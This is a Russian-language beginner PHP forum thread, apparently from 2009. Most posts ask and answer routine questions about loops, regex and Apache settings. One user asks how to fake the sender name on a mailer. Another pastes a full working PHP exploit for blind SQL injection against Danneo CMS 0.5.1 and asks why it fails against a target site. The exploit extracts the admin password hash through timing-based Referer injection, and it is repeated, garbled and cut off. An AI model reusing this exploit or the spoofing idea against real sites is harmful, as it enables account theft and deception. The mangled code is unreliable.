RE: Вопросы по PHP (для новичков)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-12 14:25:12.253333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
народ подскажите алгоритм написаня полоски навигации по статьям если известна текущая страница и общее количество страниц
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-12 15:32:54.980000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
всё не актуально.. придумал сам :) вот если кому интересно quote:
$count= считаем количество элементов в базе if(isset($_POST['page'])) $this_page=$_POST['page']; else $this_page=1; $i=$this_page-3; while ($i<=$this_page+1) { $i++; if($i>0)if($i<=$count) if($i!=$this_page) $content .= "<input type=\"submit\" name=\"page\" value=\"".$i."\" /><input type=\"hidden\" name=\"s2\" value=\"".$_POST['s']."\">"; else $content .= " ".$i." <input type=\"hidden\" name=\"s2\" value=\"".$_POST['s']."\" />"; }
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-12 22:44:29.433333
|
|
|
Фагот
Сообщений: 62
Оценки: 0
Присоединился: 2009-01-03 21:57:27.410000
|
Подскажите кто нибудь(или лучше дайте) как настроить файл конфигурации Apache 2.0.50. Не могу настроить все та же стартовая страница. PHP 5.2.8 MySQL 5.0.67 Аможет он с ХР2 конфликтует? Помогите плиз!!!!
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-12 23:36:08.076666
|
|
|
Mamka
Сообщений: 560
Оценки: 0
Присоединился: 2007-11-26 22:20:09.313333
|
quote:
ORIGINAL: Фагот Подскажите кто нибудь(или лучше дайте) как настроить файл конфигурации Apache 2.0.50. Не могу настроить все та же стартовая страница. PHP 5.2.8 MySQL 5.0.67 Аможет он с ХР2 конфликтует? Помогите плиз!!!! что значит "все та же"? Ты денвер или его аналоги ставил?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-12 23:56:12.366666
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
народ как можно перезалить файлы с одного хостинга на другой через хттп протокол? мне ндао просто както с чужого хостинга на свой перетягивать файлы думаюкакто просто это делается.. можете скриптиком поделиться таким?:)
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-13 00:27:07.753333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
http://forum.xakep.ru/m_1379288/tm.htm
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-13 05:53:13.760000
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
wget :)
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-13 10:28:15.913333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
Pashkela спс :) +1
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-15 16:30:30.263333
|
|
|
Juvirez
Сообщений: 1
Оценки: 0
Присоединился: 2009-01-17 22:57:30.253333
|
подскажите, пожалуйста, как осуществить следующую вещь: имеется некая форма на внешнем сайте, в которой есть поле проверки по коду на картинке(которая генерируется пхп кодом) нужно создать аналог этой формы на локальном сайте (чтобы пользователь не имея доступа ко внешке мог этим пользоваться) - как сделать отправку данных формы методом get сервером? - как осуществить подтверждение кода?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-15 20:12:20.010000
|
|
|
mescalineway
Сообщений: 2
Оценки: 0
Присоединился: 2009-02-07 17:24:31.283333
|
Есть База Данных
id name position club
1 Alex Del Piero Forvard Juventus
2 Wane Roony Centerf MU
3 Franchesco Toldo Goalkeaper Inter
Есть Код
$db = mysql_connect("localhost","login","password");
mysql_select_db("firstbd", $db);
$result = mysql_query("SELECT * FROM igroki", $db);
$myrow = mysql_fetch_array($result);
do
{
echo "Игрок".$myrow['id']."<br>";
echo $myrow['name']."<br>";
echo $myrow['position']."<br>";
echo $myrow['club']."<br>";
}
while (mysql_fetch_array($result));
?>
Когда вывожу результат получаю
Игрок1
Alex Del Piero
Forvard
Juventus
Игрок1
Alex Del Piero
Forvard
Juventus
Игрок1
Alex Del Piero
Forvard
Juventus
Почему Игрок1 продублирован три раза, хотя по идее должен выводиться второй и третий игрок. В базе данных(вкладка SQL) есть запись "SELECT * FROM `igroki` WHERE 1" - может из-за этого WHERE 1 ???
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-15 20:20:35.806666
|
|
|
Cep}|{
Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
|
Потому что переменная $myrow не меняется. Замени do { echo "Игрок".$myrow['id']."<br>"; echo $myrow['name']."<br>"; echo $myrow['position']."<br>"; echo $myrow['club']."<br>"; } while (mysql_fetch_array($result)); на while ($myrow=mysql_fetch_array($result)) { echo "Игрок".$myrow['id']."<br>"; echo $myrow['name']."<br>"; echo $myrow['position']."<br>"; echo $myrow['club']."<br>"; }
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-15 23:04:44.460000
|
|
|
Фагот
Сообщений: 62
Оценки: 0
Присоединился: 2009-01-03 21:57:27.410000
|
quote:
<?php if(empty($_POST['mail_to'])) exit("Введите адрес получателя"); $pattern = "/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6}$/i"; if (!preg_match($pattern, $_POST['mail_to'])) { exit("Введите адрес в виде somebоdу@server.com"); } $_POST['mail_to'] = htmlspecialchars(stripslashes($_POST['mail_to'])); $_POST['mail_subject'] = htmlspecialchars(stripslashes($_POST['mail_subject'])); $_POST['mail_msg'] = htmlspecialchars(stripslashes($_POST['mail_msg'])); $picture = ""; if (!empty($_FILES['mail_file']['tmp_name'])) { $path = $_FILES['mail_file']['name']; if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path; } $thm = $_POST['mail_subject']; $msg = $_POST['mail_msg']; $mail_to = $_POST['mail_to']; if(empty($picture)) mail($mail_to, $thm, $msg); else send_mail($mail_to, $thm, $msg, $picture); function send_mail($to, $thm, $html, $path) { $fp = fopen($path,"r"); if (!$fp) { print "Файл $path не может быть прочитан"; exit(); } $file = fread($fp, filesize($path)); fclose($fp); $boundary = "–".md5(uniqid(time())); $headers .= "MIME-Version: 1.0\n"; $headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n"; $multipart .= "–$boundary\n"; $kod = 'koi8-r'; // или $kod = 'windows-1251'; $multipart .= "Content-Type: text/html; charset=$kod\n"; $multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n"; $multipart .= "$html\n\n"; $message_part = "–$boundary\n"; $message_part .= "Content-Type: application/octet-stream\n"; $message_part .= "Content-Transfer-Encoding: base64\n"; $message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n"; $message_part .= chunk_split(base64_encode($file))."\n"; $multipart .= $message_part."–$boundary–\n"; if(!mail($to, $thm, $multipart, $headers)) { exit("К сожалению, письмо не отправлено"); } } echo "<HTML><HEAD> <META HTTP-EQUIV='Refresh' CONTENT='0; URL=".$_SERVER['PHP_SELF']."'> </HEAD></HTML>"; ?> а как бы сделать так чтоб он вместо обратного адреса че нибудь другое показал типа "Письмо от президента" или еще чаго?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-16 06:41:25.083333
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
на кол попова!!
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-16 10:45:40.440000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
почитай в избранном там есть ссылка отправки через сокеты
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-16 18:36:37.576666
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
люди ктонить может дать линк на ман по разработке компонентов для джумлы?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-16 18:48:05.163333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
http://joomla4all.ru/index.php?option=com_content&task=view&id=26&Itemid=32 http://cms-joomla.info/content/view/19/1/
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-17 00:41:38.150000
|
|
|
Merovingian
Сообщений: 59
Оценки: 0
Присоединился: 2008-12-29 13:55:36.936666
|
Есть код: quote:
<?php $db=mysql_connect("localhost","root","vertrigo"); mysql_select_db("mysite",$db); $result=mysql_query("SELECT * FROM articles",$db); $myrow=mysql_fetch_array($result); echo ($result); ?> а выводит на экран "resource id#6", подскажите почему?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-17 03:05:20.050000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
вместо echo ($result); хотя бы print_r ($myrow);
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-18 13:32:47.276666
|
|
|
mescalineway
Сообщений: 2
Оценки: 0
Присоединился: 2009-02-07 17:24:31.283333
|
quote:
ORIGINAL: Панда на кол попова!! Почему?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-18 17:36:20.506666
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
как сделать поиск по базе через LIKE чтоб он был не чувствителен к регистру
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-18 17:55:03.103333
|
|
|
Parano1d
Сообщений: 423
Оценки: 0
Присоединился: 2008-05-21 13:40:17.093333
|
можно использовать для хранения в бд тип *-ci (case insensitive) http://www.webmasterworld.com/databases_sql_mysql/3425464.htm http://www.opennet.ru/base/dev/mysql_pgsql_search.txt.html
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-18 18:23:47.800000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
о блин.. а у меня щас стоит cs ))) а я думал в чём же бок)
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-19 11:12:49.443333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
люди подскажите пожалуйста выражение для модрэврайта .. делаю так <IfModule mod_rewrite.c> RewriteEngine On Options FollowSymLinks RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ /index.php?inner=$1 [L,QSA] </IfModule> http://emi.dn.ua/material/ в результате когда делаю в коде индекса echo $_GET['inner']; выдаёт 403.shtm вместо material
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-22 23:51:21.076666
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Методом ПОСТ передаётся текст. Из него нужно выуживать ссылки, которые начинаются с http://, чтобы запихнуть в теги <a>…</a> Честно говоря не знаю, как это реализовать. Адрес ссылки должен начинаться от http:// и заканчиваться на ближайшем пробеле. Как это реализовать?
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-23 00:27:23.560000
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
$pst = $_POST['ss']; preg_math("/(http:\/\/[\w,\d,.,\?,=,]{1,})/", $pst, $out); print_r($out); давно не писал под пхп, но что-то на подобии зы - скобки () не обязательны в твоём случае , они помогают выбирать из найденного
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-23 11:28:11.186666
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
quote:
ORIGINAL: brtn $pst = $_POST['ss']; preg_matсh("/(http:\/\/[\w,\d,.,\?,=,]{1,})/", $pst, $out); print_r($out); давно не писал под пхп, но что-то на подобии зы - скобки () не обязательны в твоём случае , они помогают выбирать из найденного Всё отлично, но есть одно „но“: из строки вытаскивается только домен, например „http://domen.ru“ вместо „http://domen.ru/something“
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-23 11:42:10.973333
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Надо перебить регулярку так: /(http:\/\/[\w\.\?\/=]+)\s/iU
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-23 11:56:17.613333
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Спасибо, получилось :) Следующий вопрос ниже…
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-23 12:54:33.426666
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Опять про массивы. У меня есть большой массив $global, каждый элемент которого тоже является массивом. Для того, чтобы выбрать конечный элемент, я использую такой код: $elem1 = $global[13]; $elem1 = $elem1[value]; Но проблема в том, что в конечном счёте мне нужно получить 20 элементов $elem1 … $elem20. Я подумал, что было бы неплохо их объединить в массив :) Нужно написать цикл, который будет выбирать элементы из большого массива $global по тому принципу и записывать в массив $elem. Из $global нужен каждый 13-й элемент: [13], [26] … [260], а из получившихся двадцати массивов элементы [value]. Я не знаю, как это сделать, поэтому прошу помощи :) ЗЫ: надеюсь я понятно объяснил суть проблемы…
Уже не нужно, справился сам :) Была опечатка в переменной, поэтому не получалось…
|
|
|
RE: Вопросы по PHP (для новичков) - 2009-02-26 15:28:25.120000
|
|
|
FliX
Сообщений: 40
Оценки: 0
Присоединился: 2008-12-01 11:31:49.700000
|
Дарова народ:) у меня вот одна проблема8| не могу запустить на своем коне PHP эксплоит. выручайте пож-та дело смерти и жизни.(крче установил се php 5.2 и хотел запустить через ком. строку сплоит указал там цель и тому подобное при том никаких синт. ошибок "Exploit failed") после этого устан. се php2.exe и конвертировал сплоит под екзешник запустил и тож не идет "Exploit failed" в чем дело? что я делаю не так? сплоит на дырку под Danneo CMS 0.5.1 и ниже. Может все дело в сайте то есть в моем целе (ну у него же стоит CMS 0.5.1 Danneo должно идти) чисто теоретически …….[:(] вот соответственно код сплоита: <?php ## Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit ## Software site: http://www.danneo.com/ ## By InATeam (http://inattack.ru/) ## Requires "Referers statistics" option turned ON! echo "————————————————————\n"; echo "Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit\n"; echo "©oded by Raz0r, InATeam (http://inattack.ru/)\n"; echo "Requires \"Referers statistics\" option turned ON!\n"; echo "————————————————————\n"; if ($argc<2) { echo "USAGE:\n"; echo "~~~~~~\n"; echo "php {$argv[0]} echo "OPTIONS:\n"; echo "-p=<prefix> - use specific prefix\n"; echo "-id=<id> - use specific user id (default 1)\n"; echo "-c=<count> - benchmark()'s loop count (default 300000)\n"; echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of <count> if server is slow\n\n"; echo "php {$argv[0]} http://site.com/ -p=cms_\n"; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",25); $url = $argv[1]; for($i=2;$i<$argc;$i++) { if(strpos($argv[$i],"=")!=false) { $exploded=explode("=",$argv[$i]); if ($exploded[0]=='-p') $prefix = $exploded[1]; if ($exploded[0]=='-id') $id = $exploded[1]; if ($exploded[0]=='-c') $benchmark = $exploded[1]; } elseif($argv[$i] == '-v') $verbose=true; } if (!isset($id)) $id = 1; if (!isset($benchmark)) $benchmark = 300000; if (!isset($verbose)) $verbose=false; $url_parts = parse_url($url); $host = $url_parts['host']; $port = (isset($url_parts['port']) ? $url_parts['port'] : 80); $path = $url_parts['path']; $query_pattern = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*"; $verbose_pattern = "%-12s %2d: %s"; print "[~] Testing probe delays…\n"; $ok=true; $nodelay=0; $withdelay=0; for ($i=1;$i<=3;$i++){ $query = sprintf($query_pattern, "1=1", 1); $fdelay = dorequest($query,false,true); if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;} $query = sprintf($query_pattern, "1=1", $benchmark); $sdelay = dorequest($query,false,true); if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;} if ($sdelay<=($fdelay*2)) {$ok=false;break;} usleep($benchmark/1000); $delay=false; } if ($ok) { $nondelayed = $nodelay/3; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n"; $delayed = $withdelay/3; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n"; } else die("[-] Exploit failed\n"); if (isset($GLOBALS['version'])) { echo "[+] Version {$GLOBALS['version']} has been detected\n"; $v = str_replace(".","",$GLOBALS['version']); } if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";} elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";} else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";} print " Getting hash…"; if ($verbose) {print "\r[~]"; print "\n";} $hash=''; for($i=1; $i<=32; $i++) { $chr = gethashchar($i); if($chr!==false) $hash .= $chr; else { $chr = gethashchar($i); if ($chr !==false)$hash .= $chr; else die("\n[-] Exploit failed\n"); } } if (!$verbose) {print "\r[~]"; print "\n";} print "[+] Result: {$hash}\n"; function gethashchar ($pos) { global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj.">57", $benchmark*4); $success = condition($query); if (!$success) { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n"); $min = 48; $max = 57; } else { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n"); $min = 97; $max = 102; } for($i=$min;$i<=$max;$i++) { $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n"); return $chr; } } } return false; } function condition($query) { global $delayed,$benchmark,$verbose,$verbose_pattern; for($attempt = 1; $attempt <= 10; $attempt++){ $delay = dorequest($query,true); if ($delay === false) { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n"); } else { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n"); break; } } if ($attempt == 10) die("[-] Exploit failed\n"); if($delay > ($delayed * 2)) { usleep(($benchmark*4)/1000); return true; } return false; } function dorequest($query,$gethash=false,$getversion=false) { global $host,$port,$path,$verbose; if ($gethash&&!$verbose) status(); $start = getmicrotime(); $s = fsockopen(gethostbyname($host),$port); if (!$s) return false; else { $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "User-Agent: InAttack User Agent\r\n"; $packet .= "Referer: {$query}\r\n"; $packet .= "Connection: Close\r\n\r\n"; fputs($s, $packet); $html=''; while (!feof($s)) $html.=fgets($s); if ($getversion && !isset($GLOBALS['version'])) { $out=array(); if (preg_match("@<META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^>]+)\">@i",$html,$out)) $GLOBALS['version']=$out[1]; } $end = getmicrotime(); } return intval(($end-$start)*10); } function status() { static $n; $n++; if ($n > 3) $n = 0; if($n==0){ print "\r[-]\r"; } if($n==1){ print "\r[\\]\r";} if($n==2){ print "\r[|]\r"; } if($n==3){ print "\r[/]\r"; } } function getmicrotime() {return array_sum(explode(" ", microtime()));} ?> Выручауте пож-та ооочень прошу[:(] "> - target server where Danneo CMS is installed\n\n"; echo "OPTIONS:\n"; echo "-p=<prefix> - use specific prefix\n"; echo "-id=<id> - use specific user id (default 1)\n"; echo "-c=<count> - benchmark()'s loop count (default 300000)\n"; echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of <count> if server is slow\n\n"; echo "php {$argv[0]} http://site.com/ -p=cms_\n"; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",25); $url = $argv[1]; for($i=2;$i<$argc;$i++) { if(strpos($argv[$i],"=")!=false) { $exploded=explode("=",$argv[$i]); if ($exploded[0]=='-p') $prefix = $exploded[1]; if ($exploded[0]=='-id') $id = $exploded[1]; if ($exploded[0]=='-c') $benchmark = $exploded[1]; } elseif($argv[$i] == '-v') $verbose=true; } if (!isset($id)) $id = 1; if (!isset($benchmark)) $benchmark = 300000; if (!isset($verbose)) $verbose=false; $url_parts = parse_url($url); $host = $url_parts['host']; $port = (isset($url_parts['port']) ? $url_parts['port'] : 80); $path = $url_parts['path']; $query_pattern = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*"; $verbose_pattern = "%-12s %2d: %s"; print "[~] Testing probe delays…\n"; $ok=true; $nodelay=0; $withdelay=0; for ($i=1;$i<=3;$i++){ $query = sprintf($query_pattern, "1=1", 1); $fdelay = dorequest($query,false,true); if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;} $query = sprintf($query_pattern, "1=1", $benchmark); $sdelay = dorequest($query,false,true); if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;} if ($sdelay<=($fdelay*2)) {$ok=false;break;} usleep($benchmark/1000); $delay=false; } if ($ok) { $nondelayed = $nodelay/3; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n"; $delayed = $withdelay/3; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n"; } else die("[-] Exploit failed\n"); if (isset($GLOBALS['version'])) { echo "[+] Version {$GLOBALS['version']} has been detected\n"; $v = str_replace(".","",$GLOBALS['version']); } if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";} elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";} else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";} print " Getting hash…"; if ($verbose) {print "\r[~]"; print "\n";} $hash=''; for($i=1; $i<=32; $i++) { $chr = gethashchar($i); if($chr!==false) $hash .= $chr; else { $chr = gethashchar($i); if ($chr !==false)$hash .= $chr; else die("\n[-] Exploit failed\n"); } } if (!$verbose) {print "\r[~]"; print "\n";} print "[+] Result: {$hash}\n"; function gethashchar ($pos) { global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj.">57", $benchmark*4); $success = condition($query); if (!$success) { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n"); $min = 48; $max = 57; } else { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n"); $min = 97; $max = 102; } for($i=$min;$i<=$max;$i++) { $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n"); return $chr; } } } return false; } function condition($query) { global $delayed,$benchmark,$verbose,$verbose_pattern; for($attempt = 1; $attempt <= 10; $attempt++){ $delay = dorequest($query,true); if ($delay === false) { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n"); } else { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n"); break; } } if ($attempt == 10) die("[-] Exploit failed\n"); if($delay > ($delayed * 2)) { usleep(($benchmark*4)/1000); return true; } return false; } function dorequest($query,$gethash=false,$getversion=false) { global $host,$port,$path,$verbose; if ($gethash&&!$verbose) status(); $start = getmicrotime(); $s = fsockopen(gethostbyname($host),$port); if (!$s) return false; else { $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "User-Agent: InAttack User Agent\r\n"; $packet .= "Referer: {$query}\r\n"; $packet .= "Connection: Close\r\n\r\n"; fputs($s, $packet); $html=''; while (!feof($s)) $html.=fgets($s); if ($getversion && !isset($GLOBALS['version'])) { $out=array(); if (preg_match("@<META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^>]+)\">@i",$html,$out)) $GLOBALS['version']=$out[1]; } $end = getmicrotime(); } return intval(($end-$start)*10); } function status() { static $n; $n++; if ($n > 3) $n = 0; if($n==0){ print "\r[-]\r"; } if($n==1){ print "\r[\\]\r";} if($n==2){ print "\r[|]\r"; } if($n==3){ print "\r[/]\r"; } } function getmicrotime() {return array_sum(explode(" ", microtime()));} ?> Выручауте пож-та ооочень прошу[:(] "> OPTIONS\n\n"; echo "http://site.com/ -p=cms_\n"; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",25); $url = $argv[1]; for($i=2;$i<$argc;$i++) { if(strpos($argv[$i],"=")!=false) { $exploded=explode("=",$argv[$i]); if ($exploded[0]=='-p') $prefix = $exploded[1]; if ($exploded[0]=='-id') $id = $exploded[1]; if ($exploded[0]=='-c') $benchmark = $exploded[1]; } elseif($argv[$i] == '-v') $verbose=true; } if (!isset($id)) $id = 1; if (!isset($benchmark)) $benchmark = 300000; if (!isset($verbose)) $verbose=false; $url_parts = parse_url($url); $host = $url_parts['host']; $port = (isset($url_parts['port']) ? $url_parts['port'] : 80); $path = $url_parts['path']; $query_pattern = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*"; $verbose_pattern = "%-12s %2d: %s"; print "[~] Testing probe delays…\n"; $ok=true; $nodelay=0; $withdelay=0; for ($i=1;$i<=3;$i++){ $query = sprintf($query_pattern, "1=1", 1); $fdelay = dorequest($query,false,true); if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;} $query = sprintf($query_pattern, "1=1", $benchmark); $sdelay = dorequest($query,false,true); if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;} if ($sdelay<=($fdelay*2)) {$ok=false;break;} usleep($benchmark/1000); $delay=false; } if ($ok) { $nondelayed = $nodelay/3; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n"; $delayed = $withdelay/3; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n"; } else die("[-] Exploit failed\n"); if (isset($GLOBALS['version'])) { echo "[+] Version {$GLOBALS['version']} has been detected\n"; $v = str_replace(".","",$GLOBALS['version']); } if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";} elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";} else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";} print " Getting hash…"; if ($verbose) {print "\r[~]"; print "\n";} $hash=''; for($i=1; $i<=32; $i++) { $chr = gethashchar($i); if($chr!==false) $hash .= $chr; else { $chr = gethashchar($i); if ($chr !==false)$hash .= $chr; else die("\n[-] Exploit failed\n"); } } if (!$verbose) {print "\r[~]"; print "\n";} print "[+] Result: {$hash}\n"; function gethashchar ($pos) { global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj.">57", $benchmark*4); $success = condition($query); if (!$success) { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n"); $min = 48; $max = 57; } else { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n"); $min = 97; $max = 102; } for($i=$min;$i<=$max;$i++) { $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n"); return $chr; } } } return false; } function condition($query) { global $delayed,$benchmark,$verbose,$verbose_pattern; for($attempt = 1; $attempt <= 10; $attempt++){ $delay = dorequest($query,true); if ($delay === false) { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n"); } else { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n"); break; } } if ($attempt == 10) die("[-] Exploit failed\n"); if($delay > ($delayed * 2)) { usleep(($benchmark*4)/1000); return true; } return false; } function dorequest($query,$gethash=false,$getversion=false) { global $host,$port,$path,$verbose; if ($gethash&&!$verbose) status(); $start = getmicrotime(); $s = fsockopen(gethostbyname($host),$port); if (!$s) return false; else { $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "User-Agent: InAttack User Agent\r\n"; $packet .= "Referer: {$query}\r\n"; $packet .= "Connection: Close\r\n\r\n"; fputs($s, $packet); $html=''; while (!feof($s)) $html.=fgets($s); if ($getversion && !isset($GLOBALS['version'])) { $out=array(); if (preg_match("@<META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^>]+)\">@i",$html,$out)) $GLOBALS['version']=$out[1]; } $end = getmicrotime(); } return intval(($end-$start)*10); } function status() { static $n; $n++; if ($n > 3) $n = 0; if($n==0){ print "\r[-]\r"; } if($n==1){ print "\r[\\]\r";} if($n==2){ print 